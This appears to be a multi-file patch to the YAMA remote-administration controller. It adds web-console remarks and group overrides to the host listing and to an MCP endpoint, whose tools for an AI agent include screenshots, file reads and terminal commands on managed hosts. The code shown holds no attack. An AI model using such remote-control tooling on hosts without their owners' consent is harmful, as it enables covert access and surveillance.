修复命令已复制到剪贴板。\n\n请按 Win+X 打开「终端(管理员)」,粘贴执行后再重新启动本程序。=修復命令已複製到剪貼簿。\n\n請按 Win+X 開啟「終端機(系統管理員)」,貼上執行後再重新啟動本程式。
|
||||
已复制=已複製
|
||||
该 Android 主机未取得 root,无法查看进程列表。\n\nAndroid 7 起 /proc 受 hidepid/SELinux 限制,普通应用无法枚举其它进程。=該 Android 主機未取得 root,無法查看處理程序清單。\n\nAndroid 7 起 /proc 受 hidepid/SELinux 限制,一般應用程式無法列舉其他處理程序。
|
||||
|
||||
; MCP settings preset buttons
|
||||
只读模式=唯讀模式
|
||||
智能模式=智慧模式
|
||||
; FRP auto proxy messages (local FRP precedence)
|
||||
[FRP] 已启用上级 FRP 反向代理(远程端口 %d);本地 FRP 已启用,主控地址保持不变=[FRP] 已啟用上級 FRP 反向代理(遠端連接埠 %d);本機 FRP 已啟用,主控位址保持不變
|
||||
[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d);本地 FRP 已启用,主控地址保持不变=[FRP] 上級 FRP 反向代理設定已切換(遠端連接埠 %d → %d);本機 FRP 已啟用,主控位址保持不變
|
||||
; FRP address hint (upstream-provided)
|
||||
该地址由上级自动 FRP 提供(端口由上级分配),无需修改=此位址由上級自動 FRP 提供(連接埠由上級分配),無需修改
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.1 KiB |
@@ -299,6 +299,8 @@
|
||||
#define IDB_BITMAP_DISCLAIMER 415
|
||||
#define IDB_BITMAP_COPYNAME 416
|
||||
#define IDB_BITMAP_RUN_TEST 417
|
||||
#define IDB_BITMAP_COMPRESS_ZSTD 418
|
||||
#define IDB_BITMAP_COMPRESS_ZLIB 419
|
||||
#define IDC_MESSAGE 1000
|
||||
#define IDC_ONLINE 1001
|
||||
#define IDC_STATIC_TIPS 1002
|
||||
@@ -1123,6 +1125,8 @@
|
||||
#define ID_PROTO_SWITCH_WSS 33100
|
||||
// 高级菜单开关:把服务端 TLS 证书内嵌进下发给客户端的 ServerDll
|
||||
#define ID_TOOL_EMBED_TLS_ANCHOR 33101
|
||||
#define ID_EXPERIMENT_COMPRESS_ZSTD 33107
|
||||
#define ID_EXPERIMENT_COMPRESS_ZLIB 33108
|
||||
// 高级 → 运行测试程序:把内存里的 ServerDll 在主控进程内加载,本机上线一台测试主机
|
||||
#define ID_TOOL_RUN_TEST 33106
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
@@ -1131,8 +1135,8 @@
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 418
|
||||
#define _APS_NEXT_COMMAND_VALUE 33107
|
||||
#define _APS_NEXT_RESOURCE_VALUE 420
|
||||
#define _APS_NEXT_COMMAND_VALUE 33109
|
||||
#define _APS_NEXT_CONTROL_VALUE 2621
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
#endif
|
||||
|
||||
@@ -0,0 +1,3 @@
|
||||
; Host identity block for auxiliary tooling/diagnostics.
|
||||
EXPORTS
|
||||
HostIdentityBlock=?g_MasterID@@3PADA
|
||||
@@ -1188,6 +1188,37 @@ func main() {
|
||||
}
|
||||
log.Info("Device ACL loaded from %s (%d binding(s))", aclFile, len(deviceACL.Snapshot()))
|
||||
|
||||
// Per-device remarks (the web card's "hostname (remark)" label) live next
|
||||
// to the ACL. A malformed file only loses labels — it carries no access
|
||||
// rights — so the server still starts; the store then refuses every edit
|
||||
// so the unreadable file is never overwritten.
|
||||
notesFile := os.Getenv("YAMA_DEVICE_NOTES_FILE")
|
||||
if notesFile == "" {
|
||||
notesFile = filepath.Join(filepath.Dir(usersFile), "device_notes.json")
|
||||
rememberDefault("YAMA_DEVICE_NOTES_FILE", notesFile)
|
||||
}
|
||||
deviceNotes := web.NewDeviceNotes(notesFile)
|
||||
if err := deviceNotes.Load(); err != nil {
|
||||
log.Warn("Failed to load device remarks from %s: %v (remark edits are refused until the file is fixed)", notesFile, err)
|
||||
} else {
|
||||
log.Info("Device remarks loaded from %s (%d remark(s))", notesFile, len(deviceNotes.Snapshot()))
|
||||
}
|
||||
|
||||
// Per-device group overrides (the web console's "edit group") live next to
|
||||
// the remark table with the same fail-safe policy: a malformed file is
|
||||
// never overwritten and edits are refused until it is fixed.
|
||||
groupsFile := os.Getenv("YAMA_DEVICE_GROUPS_FILE")
|
||||
if groupsFile == "" {
|
||||
groupsFile = filepath.Join(filepath.Dir(usersFile), "device_groups.json")
|
||||
rememberDefault("YAMA_DEVICE_GROUPS_FILE", groupsFile)
|
||||
}
|
||||
deviceGroups := web.NewDeviceGroups(groupsFile)
|
||||
if err := deviceGroups.Load(); err != nil {
|
||||
log.Warn("Failed to load device groups from %s: %v (group edits are refused until the file is fixed)", groupsFile, err)
|
||||
} else {
|
||||
log.Info("Device groups loaded from %s (%d override(s))", groupsFile, len(deviceGroups.Snapshot()))
|
||||
}
|
||||
|
||||
// TCP authorization (TOKEN_AUTH) brute-force throttle. Keyed by source IP
|
||||
// (the real TCP peer — there is no X-Forwarded-For on the device port).
|
||||
// Generous enough that a NAT office whose devices all re-auth at once is
|
||||
@@ -1276,6 +1307,10 @@ func main() {
|
||||
Bind: bindAddr,
|
||||
// Devices bound to a web user are invisible/unreachable through MCP.
|
||||
DeviceACL: deviceACL,
|
||||
// Web-console remarks are returned by list_hosts/get_host_detail.
|
||||
DeviceRemarks: deviceNotes,
|
||||
// Web-console group overrides are applied to the group field/filter.
|
||||
DeviceGroups: deviceGroups,
|
||||
})
|
||||
if mcpSrv.Enabled() {
|
||||
// Terminal tools need the hub's shell events (ready/data/closed).
|
||||
@@ -1416,6 +1451,8 @@ func main() {
|
||||
BrandName: brandName,
|
||||
SSO: ssoDetector,
|
||||
DeviceACL: deviceACL,
|
||||
DeviceNotes: deviceNotes,
|
||||
DeviceGroups: deviceGroups,
|
||||
TransferTarget: transferTarget,
|
||||
TransferDays: transferDays,
|
||||
TransferTransport: transferTransport,
|
||||
|
||||
@@ -332,6 +332,19 @@ func (s *Store) Remove(id string) bool {
|
||||
return existed
|
||||
}
|
||||
|
||||
// Has reports whether id has a history record (online or offline). Callers
|
||||
// that write per-device side data use it to refuse an ID this server has never
|
||||
// seen, so a stale UI cannot create an orphan entry.
|
||||
func (s *Store) Has(id string) bool {
|
||||
if id == "" {
|
||||
return false
|
||||
}
|
||||
s.mu.Lock()
|
||||
_, ok := s.devices[id]
|
||||
s.mu.Unlock()
|
||||
return ok
|
||||
}
|
||||
|
||||
// Flush writes the current state synchronously. Normally the debounced timer
|
||||
// does this; Flush exists for tests and graceful shutdown.
|
||||
func (s *Store) Flush() error {
|
||||
|
||||
+66
-1
@@ -43,6 +43,32 @@ type DeviceOwner interface {
|
||||
Owner(deviceID string) string
|
||||
}
|
||||
|
||||
// DeviceRemarks reports the web console's remark for a device ("" when none).
|
||||
// Implemented by web.DeviceNotes; declared as an interface for the same reason
|
||||
// as DeviceOwner. A nil table simply leaves the field out of the host JSON.
|
||||
type DeviceRemarks interface {
|
||||
Note(deviceID string) string
|
||||
}
|
||||
|
||||
// deviceRemarkSnapshotter is an optional DeviceRemarks capability: returning
|
||||
// the whole table lets a host listing take one snapshot instead of a read lock
|
||||
// per device, so a remark save's fsync cannot stall the call and one listing
|
||||
// cannot mix pre-edit and post-edit labels. Implemented by web.DeviceNotes.
|
||||
type deviceRemarkSnapshotter interface {
|
||||
Notes() map[string]string
|
||||
}
|
||||
|
||||
// DeviceGroups reports the web console's group override for a device ("" when
|
||||
// the host keeps the group it reported). Implemented by web.DeviceGroups.
|
||||
type DeviceGroups interface {
|
||||
Group(deviceID string) string
|
||||
}
|
||||
|
||||
// deviceGroupSnapshotter mirrors deviceRemarkSnapshotter for the group table.
|
||||
type deviceGroupSnapshotter interface {
|
||||
Groups() map[string]string
|
||||
}
|
||||
|
||||
// deviceOwnerSnapshotter is an optional DeviceOwner capability: returning the
|
||||
// whole binding table lets a long operation (the audit scan) apply the policy
|
||||
// without a read-lock acquisition per record. Implemented by web.DeviceACL.
|
||||
@@ -64,6 +90,37 @@ func (s *Server) ownerChecker() func(deviceID string) bool {
|
||||
return func(id string) bool { return s.cfg.DeviceACL.Owner(id) == "" }
|
||||
}
|
||||
|
||||
// hostView carries the per-call label snapshots used by one host listing. A
|
||||
// table that can snapshot its whole map is read once, so a large listing
|
||||
// neither takes a read lock per device nor observes a save halfway through;
|
||||
// other tables fall back to one lookup per device. nil means the table is not
|
||||
// configured.
|
||||
type hostView struct {
|
||||
remarkOf func(deviceID string) string
|
||||
groupOf func(deviceID string) string
|
||||
}
|
||||
|
||||
func (s *Server) hostView() hostView {
|
||||
var v hostView
|
||||
if s.cfg.DeviceRemarks != nil {
|
||||
if snap, ok := s.cfg.DeviceRemarks.(deviceRemarkSnapshotter); ok {
|
||||
notes := snap.Notes()
|
||||
v.remarkOf = func(id string) string { return notes[id] }
|
||||
} else {
|
||||
v.remarkOf = func(id string) string { return s.cfg.DeviceRemarks.Note(id) }
|
||||
}
|
||||
}
|
||||
if s.cfg.DeviceGroups != nil {
|
||||
if snap, ok := s.cfg.DeviceGroups.(deviceGroupSnapshotter); ok {
|
||||
groups := snap.Groups()
|
||||
v.groupOf = func(id string) string { return groups[id] }
|
||||
} else {
|
||||
v.groupOf = func(id string) string { return s.cfg.DeviceGroups.Group(id) }
|
||||
}
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
// Config is filled by cmd/main.go from the YAMA_MCP_* environment variables;
|
||||
// the package itself never reads the environment, so tests are deterministic.
|
||||
type Config struct {
|
||||
@@ -90,6 +147,14 @@ type Config struct {
|
||||
// in list_hosts/get_host_detail and unreachable by ID in every device-
|
||||
// targeted tool, even if its ID is known.
|
||||
DeviceACL DeviceOwner
|
||||
|
||||
// DeviceRemarks, when non-nil, adds the web console's remark to
|
||||
// list_hosts/get_host_detail and lets the name/query filters match it.
|
||||
DeviceRemarks DeviceRemarks
|
||||
|
||||
// DeviceGroups, when non-nil, applies the web console's group override to
|
||||
// the group field and the group filter in the host tools.
|
||||
DeviceGroups DeviceGroups
|
||||
}
|
||||
|
||||
// toolFunc implements one tools/call. It returns either a result value or a
|
||||
@@ -483,5 +548,5 @@ const serverInstructions = `这是 YAMA 服务端的 MCP 端点(Go 实现)
|
||||
4) get_screenshot 只支持 mode=screen(按链路状况自适应缩放,max_width 省略时最大 1024);本实现没有 CLIENT_CAP_SCREEN_REGION 扩展,mode=region/window/monitor 与区域类参数一律返回 -32005。
|
||||
5) list_files / read_file 走文件传输通道;list_files 支持 ids 批量(最多 50 台、整批 50 秒)。read_file 只接受单个普通文件且整文件不超过 2 MiB,目录用 list_files;本实现没有 download_file / search_file,超限文件只能改用 terminal_exec 分段查看,或连 Windows 主控端的完整服务端。
|
||||
6) terminal_exec 需要客户端支持终端(CLIENT_CAP_TERMINAL),会在目标主机上创建持久会话;用完调用 terminal_close 释放,闲置会话由服务端回收。调用被取消时返回的 message 里带 session_id,可用它轮询或关闭。
|
||||
7) 本实现不维护备注与授权状态:list_hosts / get_host_detail 不返回 remark/authStatus/tls;get_server_status 只报版本、在线台数与监听地址,没有 switches/sessions。
|
||||
7) 本实现不维护授权状态与 TLS 标记:list_hosts / get_host_detail 不返回 authStatus/tls;备注(remark)与分组(group)可由 Web 控制台维护:备注设置后随主机返回且 query/name 会匹配,分组覆盖值同时用于返回字段和 group 过滤。get_server_status 只报版本、在线台数与监听地址,没有 switches/sessions。
|
||||
8) 列表与详情都是调用时刻的快照,主机可能在操作期间掉线;写操作前先读一次现状,动作后再复核。`
|
||||
@@ -142,8 +142,15 @@ func (s *Server) callListHosts(_ context.Context, raw json.RawMessage) (any, *rp
|
||||
ctF := strings.ToLower(args.ClientType)
|
||||
|
||||
matched := make([]hub.DeviceInfo, 0, len(pool))
|
||||
view := s.hostView()
|
||||
for _, d := range pool {
|
||||
group := d.Group
|
||||
if view.groupOf != nil {
|
||||
// A web-console override wins over the group the host reported.
|
||||
if g := view.groupOf(d.ID); g != "" {
|
||||
group = g
|
||||
}
|
||||
}
|
||||
if group == "" {
|
||||
group = "default"
|
||||
}
|
||||
@@ -155,12 +162,20 @@ func (s *Server) callListHosts(_ context.Context, raw json.RawMessage) (any, *rp
|
||||
if d.Online {
|
||||
clientType = s.clientType(d.ID)
|
||||
}
|
||||
// query matches computer name, remark and IP. The two servers keep no
|
||||
// remark column, so name+IP is the full set here.
|
||||
if q != "" && !strings.Contains(strings.ToLower(d.Name), q) && !strings.Contains(strings.ToLower(ip), q) {
|
||||
remark := ""
|
||||
if view.remarkOf != nil {
|
||||
remark = view.remarkOf(d.ID)
|
||||
}
|
||||
// query matches computer name, remark and IP; name matches computer
|
||||
// name and remark, like the Win32 server. The remark is the web
|
||||
// console's label (empty unless an admin set it).
|
||||
if q != "" && !strings.Contains(strings.ToLower(d.Name), q) &&
|
||||
!strings.Contains(strings.ToLower(ip), q) &&
|
||||
!strings.Contains(strings.ToLower(remark), q) {
|
||||
continue
|
||||
}
|
||||
if nameF != "" && !strings.Contains(strings.ToLower(d.Name), nameF) {
|
||||
if nameF != "" && !strings.Contains(strings.ToLower(d.Name), nameF) &&
|
||||
!strings.Contains(strings.ToLower(remark), nameF) {
|
||||
continue
|
||||
}
|
||||
if ipF != "" && !strings.Contains(strings.ToLower(ip), ipF) {
|
||||
@@ -185,7 +200,7 @@ func (s *Server) callListHosts(_ context.Context, raw json.RawMessage) (any, *rp
|
||||
end := min(begin+limit, total)
|
||||
hosts := make([]map[string]any, 0, end-begin)
|
||||
for _, d := range matched[begin:end] {
|
||||
hosts = append(hosts, s.hostJSON(d))
|
||||
hosts = append(hosts, s.hostJSON(d, view))
|
||||
}
|
||||
|
||||
structured := map[string]any{
|
||||
@@ -205,10 +220,17 @@ func (s *Server) callListHosts(_ context.Context, raw json.RawMessage) (any, *rp
|
||||
}
|
||||
|
||||
// hostJSON projects a hub device onto the list_hosts/get_host_detail schema.
|
||||
// Fields the Go server does not know (authStatus, tls, remark, clientType of
|
||||
// an offline entry) are omitted rather than fabricated.
|
||||
func (s *Server) hostJSON(d hub.DeviceInfo) map[string]any {
|
||||
// Fields the Go server does not know (authStatus, tls, clientType of an
|
||||
// offline entry) are omitted rather than fabricated. remark and group come
|
||||
// from the web console when it has them (view carries the per-call snapshots).
|
||||
func (s *Server) hostJSON(d hub.DeviceInfo, view hostView) map[string]any {
|
||||
group := d.Group
|
||||
if view.groupOf != nil {
|
||||
// A web-console override wins over the group the host reported.
|
||||
if g := view.groupOf(d.ID); g != "" {
|
||||
group = g
|
||||
}
|
||||
}
|
||||
if group == "" {
|
||||
group = "default"
|
||||
}
|
||||
@@ -218,6 +240,11 @@ func (s *Server) hostJSON(d hub.DeviceInfo) map[string]any {
|
||||
"group": group,
|
||||
"online": d.Online,
|
||||
}
|
||||
if view.remarkOf != nil {
|
||||
if remark := view.remarkOf(d.ID); remark != "" {
|
||||
h["remark"] = remark
|
||||
}
|
||||
}
|
||||
if d.Version != "" {
|
||||
h["version"] = d.Version
|
||||
}
|
||||
@@ -300,7 +327,7 @@ func (s *Server) callGetHostDetail(_ context.Context, raw json.RawMessage) (any,
|
||||
return nil, errf(CodeInvalidParams, "Missing required parameter: id or ids")
|
||||
}
|
||||
online, offline := s.hostMaps()
|
||||
host, rerr := s.lookupHost(args.ID, online, offline)
|
||||
host, rerr := s.lookupHost(args.ID, online, offline, s.hostView())
|
||||
if rerr != nil {
|
||||
return nil, rerr
|
||||
}
|
||||
@@ -313,10 +340,11 @@ func (s *Server) hostDetailBatch(ids []string) (any, *rpcError) {
|
||||
"Too many ids: %d (max %d per batch)", len(ids), batchMaxIDs)
|
||||
}
|
||||
online, offline := s.hostMaps()
|
||||
view := s.hostView() // one snapshot for the whole batch
|
||||
results := make([]map[string]any, 0, len(ids))
|
||||
succeeded, failed := 0, 0
|
||||
for _, id := range ids {
|
||||
host, rerr := s.lookupHost(id, online, offline)
|
||||
host, rerr := s.lookupHost(id, online, offline, view)
|
||||
if rerr != nil {
|
||||
results = append(results, map[string]any{
|
||||
"id": id,
|
||||
@@ -375,17 +403,17 @@ func (s *Server) hostMaps() (online, offline map[string]hub.DeviceInfo) {
|
||||
// lookupHost resolves one host: online first, then the last-known history
|
||||
// record. It mirrors the Win32 server, which answers offline hosts with their
|
||||
// final snapshot instead of an error.
|
||||
func (s *Server) lookupHost(id string, online, offline map[string]hub.DeviceInfo) (map[string]any, *rpcError) {
|
||||
func (s *Server) lookupHost(id string, online, offline map[string]hub.DeviceInfo, view hostView) (map[string]any, *rpcError) {
|
||||
if !isDecimalID(id) {
|
||||
return nil, errf(CodeInvalidParams, "Invalid id: expected a decimal host id string")
|
||||
}
|
||||
if d, ok := online[id]; ok {
|
||||
h := s.hostJSON(d)
|
||||
h := s.hostJSON(d, view)
|
||||
h["capabilities"] = s.capabilities(d)
|
||||
return h, nil
|
||||
}
|
||||
if d, ok := offline[id]; ok {
|
||||
return s.hostJSON(d), nil
|
||||
return s.hostJSON(d, view), nil
|
||||
}
|
||||
return nil, errf(CodeOffline, "Host not found or offline: %s", id)
|
||||
}
|
||||
@@ -449,13 +477,13 @@ func appendHostRows(text string, hosts []map[string]any) string {
|
||||
for _, h := range hosts {
|
||||
online, _ := h["online"].(bool)
|
||||
rows = append(rows, []string{
|
||||
tableText(h["id"]), tableText(h["name"]), tableText(h["ip"]),
|
||||
tableText(h["group"]), tableText(h["os"]), strconv.FormatBool(online),
|
||||
tableText(h["clientType"]), tableText(h["last_seen"]),
|
||||
tableText(h["id"]), tableText(h["name"]), tableText(h["remark"]),
|
||||
tableText(h["ip"]), tableText(h["group"]), tableText(h["os"]),
|
||||
strconv.FormatBool(online), tableText(h["clientType"]), tableText(h["last_seen"]),
|
||||
})
|
||||
}
|
||||
return appendRows(text,
|
||||
[]string{"id", "name", "ip", "group", "os", "online", "clientType", "last_seen"},
|
||||
[]string{"id", "name", "remark", "ip", "group", "os", "online", "clientType", "last_seen"},
|
||||
rows)
|
||||
}
|
||||
|
||||
|
||||
@@ -213,8 +213,35 @@ func TestAppendRowsSanitizesCells(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// fakeRemarks stands in for web.DeviceNotes: the map value is the remark. It
|
||||
// only implements Note, so it exercises the per-device fallback path.
|
||||
type fakeRemarks map[string]string
|
||||
|
||||
func (f fakeRemarks) Note(deviceID string) string { return f[deviceID] }
|
||||
|
||||
// fakeRemarkSnapshot also implements Notes(), the snapshot capability the
|
||||
// shipped web.DeviceNotes provides.
|
||||
type fakeRemarkSnapshot map[string]string
|
||||
|
||||
func (f fakeRemarkSnapshot) Note(deviceID string) string { return f[deviceID] }
|
||||
func (f fakeRemarkSnapshot) Notes() map[string]string { return f }
|
||||
|
||||
// fakeGroups stands in for web.DeviceGroups (per-device fallback path).
|
||||
type fakeGroups map[string]string
|
||||
|
||||
func (f fakeGroups) Group(deviceID string) string { return f[deviceID] }
|
||||
|
||||
// fakeGroupSnapshot also implements Groups(), the snapshot capability the
|
||||
// shipped web.DeviceGroups provides.
|
||||
type fakeGroupSnapshot map[string]string
|
||||
|
||||
func (f fakeGroupSnapshot) Group(deviceID string) string { return f[deviceID] }
|
||||
func (f fakeGroupSnapshot) Groups() map[string]string { return f }
|
||||
|
||||
func TestListHostsPoolsAndProjection(t *testing.T) {
|
||||
f := newLocalFixture(t)
|
||||
f.srv.cfg.DeviceRemarks = fakeRemarkSnapshot{"1001": "Reception PC"}
|
||||
f.srv.cfg.DeviceGroups = fakeGroupSnapshot{"1002": "Remote"}
|
||||
|
||||
text, sc := mustCallLocal(t, f.srv, "list_hosts", `{}`)
|
||||
hosts := hostList(t, sc)
|
||||
@@ -236,11 +263,11 @@ func TestListHostsPoolsAndProjection(t *testing.T) {
|
||||
}
|
||||
// Text-only MCP clients never see structuredContent, so the table in the
|
||||
// text block must carry the id every follow-up call is addressed by.
|
||||
if !strings.Contains(text, "id\tname\tip\tgroup\tos\tonline\tclientType\tlast_seen") {
|
||||
if !strings.Contains(text, "id\tname\tremark\tip\tgroup\tos\tonline\tclientType\tlast_seen") {
|
||||
t.Fatalf("text = %q, want host table header", text)
|
||||
}
|
||||
if !strings.Contains(text, "1001\tALPHA\t10.0.0.1\tdefault\tWindows 10\ttrue\tEXE\t-") {
|
||||
t.Fatalf("text = %q, want ALPHA row with id first", text)
|
||||
if !strings.Contains(text, "1001\tALPHA\tReception PC\t10.0.0.1\tdefault\tWindows 10\ttrue\tEXE\t-") {
|
||||
t.Fatalf("text = %q, want ALPHA row with id first and remark", text)
|
||||
}
|
||||
|
||||
alpha := hosts[0]
|
||||
@@ -268,7 +295,16 @@ func TestListHostsPoolsAndProjection(t *testing.T) {
|
||||
if _, ok := alpha["last_seen"]; ok {
|
||||
t.Fatal("online host carries last_seen")
|
||||
}
|
||||
for _, absent := range []string{"remark", "authStatus", "tls"} {
|
||||
if got := strField(t, alpha, "remark"); got != "Reception PC" {
|
||||
t.Fatalf("remark = %q, want the web console's label", got)
|
||||
}
|
||||
if !strings.Contains(text, "1002\tBETA\t-\t192.168.1.2\tRemote\tWindows 11\ttrue\tEXE\t-") {
|
||||
t.Fatalf("text = %q, want BETA row with the group override", text)
|
||||
}
|
||||
if _, ok := hosts[1]["remark"]; ok {
|
||||
t.Fatalf("unset remark present on %v", hosts[1]["id"])
|
||||
}
|
||||
for _, absent := range []string{"authStatus", "tls"} {
|
||||
if _, ok := alpha[absent]; ok {
|
||||
t.Fatalf("%s present but the Go server has no such data", absent)
|
||||
}
|
||||
@@ -306,6 +342,7 @@ func TestListHostsPoolsAndProjection(t *testing.T) {
|
||||
|
||||
func TestListHostsFilters(t *testing.T) {
|
||||
f := newLocalFixture(t)
|
||||
f.srv.cfg.DeviceRemarks = fakeRemarks{"1001": "Reception PC"}
|
||||
|
||||
cases := []struct {
|
||||
name string
|
||||
@@ -313,6 +350,7 @@ func TestListHostsFilters(t *testing.T) {
|
||||
want []string
|
||||
}{
|
||||
{"name substring", `{"name":"beta"}`, []string{"1002"}},
|
||||
{"name matches remark", `{"name":"reception"}`, []string{"1001"}},
|
||||
{"group substring", `{"group":"office"}`, []string{"1002", "1003"}},
|
||||
{"os substring case-insensitive", `{"os":"windows"}`, []string{"1001", "1002"}},
|
||||
{"client type", `{"client_type":"lnx"}`, []string{"1003"}},
|
||||
@@ -320,6 +358,7 @@ func TestListHostsFilters(t *testing.T) {
|
||||
{"peer ip fallback", `{"ip":"192.168.1.2"}`, []string{"1002"}},
|
||||
{"query matches name", `{"query":"gamma"}`, []string{"1003"}},
|
||||
{"query matches ip", `{"query":"10.0.0.1"}`, []string{"1001"}},
|
||||
{"query matches remark", `{"query":"reception"}`, []string{"1001"}},
|
||||
{"filters are ANDed", `{"group":"office","os":"ubuntu"}`, []string{"1003"}},
|
||||
{"no match", `{"name":"zzz"}`, nil},
|
||||
}
|
||||
@@ -355,6 +394,33 @@ func TestListHostsFilters(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// TestListHostsGroupOverride: the web console's group override drives both the
|
||||
// projected group and the group filter, including for offline records.
|
||||
func TestListHostsGroupOverride(t *testing.T) {
|
||||
f := newLocalFixture(t)
|
||||
f.srv.cfg.DeviceGroups = fakeGroupSnapshot{"1002": "Remote", "1003": "Remote", "2001": "Archive"}
|
||||
|
||||
_, sc := mustCallLocal(t, f.srv, "list_hosts", `{"group":"remote"}`)
|
||||
wantIDs(t, hostList(t, sc), "1002", "1003")
|
||||
|
||||
_, sc = mustCallLocal(t, f.srv, "list_hosts", `{"online":false,"group":"archive"}`)
|
||||
wantIDs(t, hostList(t, sc), "2001")
|
||||
if got := strField(t, hostList(t, sc)[0], "group"); got != "Archive" {
|
||||
t.Fatalf("offline group = %q, want the override", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestListHostsGroupOverrideFallback covers a DeviceGroups implementation that
|
||||
// participates through Group() only (no whole-table snapshot).
|
||||
func TestListHostsGroupOverrideFallback(t *testing.T) {
|
||||
f := newLocalFixture(t)
|
||||
f.srv.cfg.DeviceGroups = fakeGroups{"1002": "Remote"}
|
||||
_, sc := mustCallLocal(t, f.srv, "list_hosts", `{}`)
|
||||
if got := strField(t, hostList(t, sc)[1], "group"); got != "Remote" {
|
||||
t.Fatalf("group = %q, want the override", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestListHostsPaging(t *testing.T) {
|
||||
f := newLocalFixture(t)
|
||||
|
||||
|
||||
@@ -38,6 +38,8 @@ const (
|
||||
auditDeviceTransfer = "admin.device.transfer"
|
||||
auditDeviceBind = "admin.device.bind"
|
||||
auditDeviceUnbind = "admin.device.unbind"
|
||||
auditDeviceRemark = "admin.device.remark"
|
||||
auditDeviceGroup = "admin.device.group"
|
||||
auditQuery = "admin.audit.query"
|
||||
)
|
||||
|
||||
|
||||
@@ -0,0 +1,251 @@
|
||||
package web
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
// MaxGroupRunes bounds the per-device group label. The Win32 server's
|
||||
// "regroup host" dialog rejects names of 24 characters or more (the command
|
||||
// payload is a fixed 50-byte buffer); the Go console keeps the same limit so
|
||||
// a group name written here can also be handed to the client later.
|
||||
const MaxGroupRunes = 23
|
||||
|
||||
// DeviceGroupEntry is one web-console group override.
|
||||
type DeviceGroupEntry struct {
|
||||
Group string `json:"group"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
UpdatedBy string `json:"updated_by,omitempty"`
|
||||
}
|
||||
|
||||
// deviceGroupsFile is the on-disk shape of device_groups.json. Version is
|
||||
// reserved for future migrations; v1 is a flat deviceID -> group map.
|
||||
type deviceGroupsFile struct {
|
||||
Version int `json:"version"`
|
||||
Devices map[string]DeviceGroupEntry `json:"devices"`
|
||||
}
|
||||
|
||||
// DeviceGroups is the per-device group table used by the Go web console. A
|
||||
// device with no entry keeps the group it reported at login; an entry
|
||||
// overrides that group for every Go-side view (device list, group filter,
|
||||
// MCP), works for offline records too, and survives restarts.
|
||||
//
|
||||
// It deliberately does NOT write CMD_SET_GROUP to the client: the host keeps
|
||||
// reporting its own group to other masters. An empty Path disables
|
||||
// persistence (tests).
|
||||
type DeviceGroups struct {
|
||||
mu sync.RWMutex
|
||||
path string
|
||||
entries map[string]DeviceGroupEntry
|
||||
// loadErr records why Load failed. While set, Set/Remove refuse to write:
|
||||
// persisting the in-memory (empty) table would replace the unreadable file
|
||||
// and destroy every override it still holds.
|
||||
loadErr error
|
||||
}
|
||||
|
||||
// NewDeviceGroups returns an empty table backed by path.
|
||||
func NewDeviceGroups(path string) *DeviceGroups {
|
||||
return &DeviceGroups{path: path, entries: make(map[string]DeviceGroupEntry)}
|
||||
}
|
||||
|
||||
// Load reads Path into memory. A missing file is an empty table. A malformed
|
||||
// file (or one written by a newer version) is returned as an error and leaves
|
||||
// the table write-disabled so the unreadable file survives for recovery.
|
||||
func (g *DeviceGroups) Load() error {
|
||||
if g.path == "" {
|
||||
return nil
|
||||
}
|
||||
data, err := os.ReadFile(g.path)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return nil
|
||||
}
|
||||
return g.failLoad(fmt.Errorf("read %s: %w", g.path, err))
|
||||
}
|
||||
var f deviceGroupsFile
|
||||
if err := json.Unmarshal(data, &f); err != nil {
|
||||
return g.failLoad(fmt.Errorf("parse %s: %w", g.path, err))
|
||||
}
|
||||
if f.Version > deviceGroupsFileVersion {
|
||||
return g.failLoad(fmt.Errorf("unsupported %s version %d (this server writes %d)",
|
||||
g.path, f.Version, deviceGroupsFileVersion))
|
||||
}
|
||||
entries := make(map[string]DeviceGroupEntry, len(f.Devices))
|
||||
for id, e := range f.Devices {
|
||||
id = strings.TrimSpace(id)
|
||||
e.Group = capRunes(sanitizeLabel(e.Group), MaxGroupRunes)
|
||||
if id == "" || e.Group == "" {
|
||||
continue
|
||||
}
|
||||
entries[id] = e
|
||||
}
|
||||
g.mu.Lock()
|
||||
g.entries = entries
|
||||
g.loadErr = nil
|
||||
g.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
// deviceGroupsFileVersion is the on-disk format we write. A file from a newer
|
||||
// version is refused instead of being read as v1 and overwritten.
|
||||
const deviceGroupsFileVersion = 1
|
||||
|
||||
// failLoad records the reason writes are disabled and returns it.
|
||||
func (g *DeviceGroups) failLoad(err error) error {
|
||||
g.mu.Lock()
|
||||
g.loadErr = err
|
||||
g.mu.Unlock()
|
||||
return err
|
||||
}
|
||||
|
||||
// Group returns the override for deviceID, or "" when the device keeps the
|
||||
// group it reported.
|
||||
func (g *DeviceGroups) Group(deviceID string) string {
|
||||
if g == nil {
|
||||
return ""
|
||||
}
|
||||
g.mu.RLock()
|
||||
defer g.mu.RUnlock()
|
||||
return g.entries[deviceID].Group
|
||||
}
|
||||
|
||||
// Groups returns a copy of the deviceID -> group map. Callers that look up
|
||||
// many devices in one pass take this snapshot instead of a read lock per
|
||||
// device.
|
||||
func (g *DeviceGroups) Groups() map[string]string {
|
||||
if g == nil {
|
||||
return map[string]string{}
|
||||
}
|
||||
g.mu.RLock()
|
||||
defer g.mu.RUnlock()
|
||||
out := make(map[string]string, len(g.entries))
|
||||
for id, e := range g.entries {
|
||||
out[id] = e.Group
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Snapshot returns a copy of the table (for logs and tests).
|
||||
